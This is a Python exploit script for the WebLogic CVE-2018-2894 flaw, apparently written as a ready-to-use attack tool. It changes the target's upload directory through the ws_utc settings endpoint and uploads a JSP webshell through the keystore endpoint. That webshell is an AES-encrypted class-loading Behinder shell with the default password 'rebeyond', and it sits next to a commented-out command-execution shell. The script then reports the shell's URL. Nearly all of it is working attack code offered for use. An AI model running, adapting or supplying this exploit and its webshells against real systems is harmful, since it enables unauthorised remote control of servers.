#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File    :   CVE-2018-2894-EXP.py
@Time    :   2025/04/14 17:04:33
@Author  :   mingy
@Version :   1.0
@Desc    :   WebLogic CVE-2018-2894 漏洞利用脚本
'''

import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET
from typing import Optional

# 添加全局配置
TIMEOUT = 30  # 请求超时时间
RETRY_COUNT = 3  # 重试次数

def get_current_work_path(host: str) -> Optional[str]:
    # 定义获取当前工作路径的函数，参数为host，返回值为Optional[str]
    geturl = f"{host}/ws_utc/resources/setting/options/general"
    # 定义请求的url
    ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
    # 定义请求头
    values = []
    
    # 定义一个空列表，用于存储获取到的值
    for attempt in range(RETRY_COUNT):
        # 循环尝试获取当前工作路径，最多尝试RETRY_COUNT次
        try:
            request = requests.get(geturl, headers=ua, timeout=TIMEOUT)
            # 发送请求，获取响应
            if request.status_code == 404:
                # 如果响应状态码为404，说明host不存在CVE-2018-2894
                print(f"[-] {host} 不存在 CVE-2018-2894")
                return None
                
            if "Deploying Application".lower() in request.text.lower():
                # 如果响应内容中包含"Deploying Application"，说明网站正在部署，等待20秒后继续尝试
                print("[*] 首次部署网站，请等待...")
                time.sleep(20)
                continue
                
            if "</defaultValue>" in request.content.decode():
                # 如果响应内容中包含"</defaultValue>"，说明获取到了当前工作路径
                root = ET.fromstring(request.content)
                # 解析响应内容
                value = root.find("section").find("options")
                # 获取当前工作路径
                values.extend(
                    sub.text
                    for e in value
                    for sub in e
                    if e.tag == "parameter" and sub.tag == "defaultValue"
                )
                # 将当前工作路径添加到values列表中
                if values:
                    # 如果values列表不为空，返回第一个值
                    return values[0]
                    
        except requests.RequestException as e:
            # 如果请求失败，打印错误信息
            print(f"[-] 请求失败 (尝试 {attempt + 1}/{RETRY_COUNT}): {str(e)}")
            # 如果尝试次数达到最大值，打印无法获取当前工作路径的信息
            if attempt == RETRY_COUNT - 1:
                print("[-] 无法获取当前工作路径")
                return None
            # 等待5秒后继续尝试
            time.sleep(5)
            
    return None


def get_new_work_path(host):
    # 获取当前工作路径
    origin_work_path = get_current_work_path(host)
    # 定义works路径
    works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
    # 判断origin_work_path中是否包含"user_projects"
    if "user_projects" in origin_work_path:
        # 判断origin_work_path中是否包含"\"
        if "\\" in origin_work_path:
            # 将works路径中的"/"替换为"\"
            works = works.replace("/", "\\")
            # 获取当前工作路径中"user_projects"之前的部分
            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
            # 获取当前工作路径中"user_projects"之后的部分
            dir_len = len(current_work_home.split("\\"))
            domain_name = origin_work_path.split("\\")[dir_len]
            # 拼接works路径
            current_work_home += "\\" + domain_name + works
        else:
            # 获取当前工作路径中"user_projects"之前的部分
            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
            # 获取当前工作路径中"user_projects"之后的部分
            dir_len = len(current_work_home.split("/"))
            domain_name = origin_work_path.split("/")[dir_len]
            # 拼接works路径
            current_work_home += f"/{domain_name}{works}"
    else:
        # 如果origin_work_path中不包含"user_projects"，则将current_work_home赋值为origin_work_path
        current_work_home = origin_work_path
        # 打印提示信息
        print(f"[*] cannot handle current work home dir: {current_work_home}")
    # 返回拼接后的works路径
    return current_work_home


# 定义一个函数，用于设置新的上传路径
def set_new_upload_path(host, path, headers):
    # 创建一个字典，用于存储要发送的数据
    data = {
        "setting_id": "general",
        "BasicConfigOptions.workDir": path,
        "BasicConfigOptions.proxyHost": "",
        "BasicConfigOptions.proxyPort": "80"}
    # 发送POST请求，将数据发送到指定的URL
    request = requests.post(f"{host}/ws_utc/resources/setting/options", data=data, headers=headers)
    # 如果请求的内容中包含"successfully"，则返回True
    if "successfully" in request.content.decode():
        return True
    # 否则，打印错误信息，并退出程序
    print("[-] Change New Upload Path failed")
    exit(request.content)


def upload_webshell(host: str, uri: str, upload_content: str, headers: dict) -> bool:
    # 尝试上传webshell
    try:
        # 如果设置新的上传路径失败，则返回False
        if not set_new_upload_path(host, get_new_work_path(host), headers):
            return False
            
        # 构造上传文件的数据
        files = {
            "ks_edit_mode": "false",
            "ks_password_front": '',
            "ks_password_changed": "true",
            "ks_filename": ("test.jsp", upload_content)
        }

        # 发送POST请求上传文件
        response = requests.post(host + uri, files=files, timeout=TIMEOUT).text
        # 如果返回的响应中包含id，则说明上传成功
        if match := re.findall("<id>(.*?)</id>", response):
            tid = match[-1]
            # 构造webshell的路径
            shell_path = f"{host}/ws_utc/css/config/keystore/{str(tid)}_test.jsp"
            # 发送GET请求验证webshell是否上传成功
            if "test" in requests.get(shell_path, headers=headers, timeout=TIMEOUT).content.decode():
                # 如果webshell存在，则打印存在CVE-2018-2894的提示信息
                print(f"[+] {host} 存在 CVE-2018-2894")
                print(f"[+] WebShell地址: {shell_path}  默认密码: rebeyond")
                return True
                
        # 如果webshell不存在，则打印不存在CVE-2018-2894的提示信息
        print(f"[-] {host} 不存在 CVE-2018-2894")
        return False
        
    # 如果请求失败，则打印失败信息
    except requests.RequestException as e:
        print(f"[-] 请求失败: {str(e)}")
        return False


def main():
    # 记录程序开始时间
    start = time.time()
    
    # 设置url
    url = "/ws_utc/resources/setting/keystore"
    
    # 创建参数解析器
    parser = argparse.ArgumentParser(description="Weblogic CVE-2018-2894 Exploit Tool -- By MINGY")
    # 添加参数-t，用于指定目标地址
    parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
                        help="target, such as: http://example.com:7001")

    # 写入behinder默认jsp webshell
    upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>'

    # upload_webshell = r'<%out.println("test");%><%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>'
    # 设置请求头
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest', 
    }

    # 如果没有参数，则添加-h参数
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    
    # 解析参数
    args = parser.parse_args()
    # 获取目标地址
    target = args.target

    # 去除目标地址末尾的/
    target = target.rstrip('/')
    # 如果目标地址中没有包含http://，则添加http://
    if "://" not in target:
        target = f"http://{target}"
    try:
        # 上传webshell
        upload_webshell(target, url, upload_content, headers)
    except Exception as e:
        # 打印错误信息
        print("[-] Error: \n")
        traceback.print_exc()

if __name__ == "__main__":
    main()
